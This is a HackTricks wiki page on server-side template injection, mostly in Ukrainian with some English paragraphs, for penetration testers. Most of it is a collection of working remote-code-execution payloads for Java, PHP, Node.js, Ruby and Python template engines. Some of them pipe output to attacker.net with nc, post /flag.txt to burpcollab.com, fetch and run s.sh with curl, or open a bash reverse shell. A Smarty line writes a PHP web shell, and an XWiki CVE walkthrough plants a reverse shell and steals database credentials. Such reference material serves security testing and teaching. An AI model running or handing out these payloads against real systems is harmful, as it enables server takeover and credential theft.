SSTI (Server Side Template Injection)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке SSTI (Server-Side Template Injection)

Server-side template injection — це вразливість, яка виникає, коли атакуючий може інжектувати шкідливий код у шаблон, що виконується на сервері. Ця вразливість може зустрічатися в різних технологіях, включаючи Jinja.

Jinja — популярний движок шаблонів, який використовується у веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:

output = template.render(name=request.args.get('name'))

У цьому вразливому коді параметр name із запиту користувача безпосередньо передається в шаблон за допомогою функції render. Це може дозволити attacker ввести шкідливий код у параметр name, що призведе до server-side template injection.

Наприклад, attacker може сформувати запит із таким payload:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

Цей payload {{bad-stuff-here}} вставляється в параметр name. Цей payload може містити директиви шаблонів Jinja, які дозволяють атакуючому виконувати несанкціонований код або маніпулювати шаблонним рушієм, потенційно отримавши контроль над сервером.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.

Щоб запобігти server-side template injection vulnerabilities, розробники повинні переконатися, що введені користувачем дані належним чином очищуються та перевіряються перед вставкою в шаблони. Впровадження input validation та використання контекстно-залежних технік екранування (escaping) допоможуть знизити ризик цієї вразливості.

Detection

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server’s response to regular data versus this special payload. Vulnerability indicators include:

  • Thrown errors, revealing the vulnerability and potentially the template engine.
  • Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
  • Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).
  • Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in http://vulnerable-website.com/?greeting=data.username to see if the server’s output is dynamic or fixed, like in greeting=data.username}}hello returning the username.

Виявлення

Щоб виявити Server-Side Template Injection (SSTI), на початковому етапі fuzzing the template — простий підхід. Це передбачає вставлення послідовності спеціальних символів (${{<%[%'"}}%\) у шаблон і аналіз відмінностей у відповіді сервера на звичайні дані та на цю спеціальну payload. Ознаки наявності вразливості включають:

  • Викинуті помилки, що вказують на вразливість і потенційно на використовуваний шаблонний рушій.
  • Відсутність payload у відображенні або часткова відсутність фрагментів, що натякає на те, що сервер обробляє їх інакше, ніж звичайні дані.
  • Plaintext Context: Відрізнити від XSS, перевіривши, чи обчислює сервер вирази шаблону (наприклад, {{7*7}}, ${7*7}).
  • Code Context: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, змінити greeting в http://vulnerable-website.com/?greeting=data.username, щоб побачити, чи є вихід сервера динамічним або фіксованим, як у випадку greeting=data.username}}hello, коли повертається ім’я користувача.

Identification Phase

Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server’s response to mathematical operations helps pinpoint the specific template engine.

Фаза ідентифікації

Ідентифікація шаблонного рушія включає аналіз повідомлень про помилки або ручне тестування різних payloads, специфічних для мов. Поширені payloads, що викликають помилки, включають ${7/0}, {{7/0}} та <%= 7/0 %>. Спостереження за відповіддю сервера на математичні операції допомагає точніше визначити конкретний шаблонний рушій.

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

Інструменти

TInjA

ефективний SSTI + CSTI сканер, який використовує нові polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

інтерактивна таблиця, що містить найефективніші template injection polyglots разом із очікуваними відповідями 44 найважливіших template engines.

Exploits

Загальні

У цьому wordlist ви можете знайти variables defined у середовищах деяких із наведених нижче engines:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Отримати змінні середовища системи

${T(java.lang.System).getenv()}

Java - Отримати /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Ви можете спробувати свої payloads на https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ працює лише на версіях Freemarker нижче 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Додаткова інформація

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Додаткова інформація

Thymeleaf

У Thymeleaf поширеним тестом на вразливість SSTI є вираз ${7*7}, що також стосується цього рушія шаблонів. Для потенційного віддаленого виконання коду можна використати такі вирази:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf вимагає, щоб ці вирази розміщувалися у певних атрибутах. Проте для інших місць у шаблоні підтримується вбудовування виразів з синтаксисом [[...]] або [(...)]. Отже, простий тестовий payload для SSTI може виглядати як [[${7*7}]].

Однак ймовірність того, що цей payload спрацює, зазвичай низька. Стандартна конфігурація Thymeleaf не підтримує динамічну генерацію шаблонів; шаблони мають бути заздалегідь визначені. Розробникам довелося б реалізувати власний TemplateResolver, щоб створювати шаблони з рядків на льоту, що є рідкісною практикою.

Thymeleaf також пропонує попередню обробку виразів, де вирази у подвійних підкресленнях (__...__) попередньо обробляються. Цю можливість можна використовувати при побудові виразів, як показано в документації Thymeleaf:

#{selection.__${sel.code}__}

Приклад вразливості в Thymeleaf

Розгляньте наступний фрагмент коду, який може бути вразливим до експлуатації:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Це вказує на те, що якщо движок шаблонів неправильно обробляє ці вхідні дані, це може призвести до remote code execution з доступом до URL-адрес на кшталт:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Додаткова інформація

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Обхід фільтрів

Можна використовувати кілька виразів змінних; якщо ${...} не працює, спробуйте #{...}, *{...}, @{...} або ~{...}.

  • Прочитати /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Користувацький Script для генерації payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Більше інформації

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Старі версії Pebble (версія < 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Нова версія Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava є проектом з відкритим кодом, розробленим Hubspot, доступний за https://github.com/HubSpot/jinjava/

Jinjava - Виконання команд

Виправлено в https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Додаткова інформація

Hubspot - HuBL (Java)

  • {% %} роздільники інструкцій
  • {{ }} роздільники виразів
  • {# #} роздільники коментарів
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Search for “com.hubspot.content.hubl.context.TemplateContextRequest” and discovered the Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Додаткова інформація

Мова виразів - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) — це базова можливість, яка полегшує взаємодію між presentation layer (наприклад, веб-сторінками) та application logic (наприклад, managed beans) у JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:

  • JavaServer Faces (JSF): Використовує EL для зв’язування компонентів на сторінках JSF з відповідними backend-даними та діями.
  • JavaServer Pages (JSP): EL використовується в JSP для доступу та маніпуляції даними в JSP-сторінках, що полегшує пов’язання елементів сторінки з даними застосунку.
  • Contexts and Dependency Injection for Java EE (CDI): EL інтегрується з CDI, дозволяючи безшовну взаємодію між веб-шаром та managed beans, забезпечуючи більш узгоджену структуру застосунку.

Перегляньте цю сторінку, щоб дізнатися більше про exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

Наступні Security Manager bypasses були взяті з цього writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (виправлено в 15.10.11 / 16.4.1 / 16.5.0RC1) повертає неавторизовані RSS пошукові стрічки через макрос Main.SolrSearch. Обробник бере параметр запиту text, обгортає його у wiki-синтаксис та виконує макроси, тому інжекція }}} з наступним {{groovy}} дозволяє виконувати довільний Groovy у JVM.

  1. Fingerprint & scope – Якщо XWiki розміщено за reverse-proxy з host-based routing, фуззьте заголовок Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) щоб виявити wiki vhost, потім відкрийте /xwiki/bin/view/Main/ і прочитайте footer (XWiki Debian 15.10.8) щоб визначити вразливу збірку.
  2. Trigger SSTI – Запросіть /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Поле <title> елемента RSS міститиме вивід Groovy. Завжди “URL-encode all characters”, щоб пробіли залишалися як %20; заміна їх на + призводить до HTTP 500 від XWiki.
  3. Run OS commands – Замініть тіло Groovy на {{groovy}}println("id".execute().text){{/groovy}}. String.execute() породжує команду безпосередньо через execve(), тому shell-метасимволи (|, >, &) не інтерпретуються. Використовуйте патерн download-and-execute замість цього:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (скрипт містить логіку зворотного шелу).
  1. Post exploitation – XWiki зберігає облікові дані бази у /etc/xwiki/hibernate.cfg.xml; витік hibernate.connection.password дає паролі реальної системи, які можна повторно використати для SSH. Якщо systemd unit встановлює NoNewPrivileges=true, такі інструменти як /bin/su не отримають додаткових привілеїв навіть з правильними паролями, тому робіть pivot через SSH замість покладання на локальні SUID бінарні файли.

Такий самий payload працює на /xwiki/bin/get/Main/SolrSearch, а stdout Groovy завжди вбудовується в RSS title, тому легко скриптувати перебирання команд.

Інше Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Додаткова інформація

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Формат шаблону

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Додаткова інформація

Plates (PHP)

Plates — це шаблонізатор, рідний для PHP, який черпає натхнення з Twig. Однак, на відміну від Twig, що вводить новий синтаксис, Plates використовує нативний PHP-код у шаблонах, що робить його інтуїтивним для PHP-розробників.

Контролер:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Шаблон сторінки:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Шаблон макета:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Додаткова інформація

PHPlib та HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB — те саме, що PHPlib, але портовано до Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Додаткова інформація

Інше PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Додаткова інформація

patTemplate (PHP)

patTemplate некомпілюючий PHP шаблонізатор, який використовує XML-теги для поділу документа на різні частини

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Додаткова інформація

Handlebars (NodeJS)

Path Traversal (докладніше here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Помилка
  • ${7*7} = ${7*7}
  • Нічого
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Додаткова інформація

JsRender (NodeJS)

ШаблонОпис
Виконати та відобразити результат
Виконати та відобразити HTML-кодуваний результат
Коментар
andДозволити виконання коду (вимкнено за замовчуванням)
  • = 49

Клієнтська частина

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Серверна сторона

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Додаткова інформація

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Приклад серверного рендерингу

var pugjs = require("pug")
home = pugjs.render(injected_page)

Додаткова інформація

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Немає виводу
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Помилка
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Додаткова інформація

NodeJS expression sandboxes (vm2 / isolated-vm)

Деякі workflow builders виконують вирази, керовані користувачем, всередині Node sandboxes (vm2, isolated-vm), проте контекст виразу все ще відкриває доступ до this.process.mainModule.require. Це дозволяє атакуючому завантажити child_process та виконувати OS-команди навіть коли виділені “Execute Command” вузли вимкнені:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Інші NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Додаткова інформація

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Додаткова інформація

Інше про Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Перегляньте наступну сторінку, щоб дізнатись трюки щодо arbitrary command execution bypassing sandboxes в python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Додаткова інформація

Jinja2 (Python)

Офіційний вебсайт

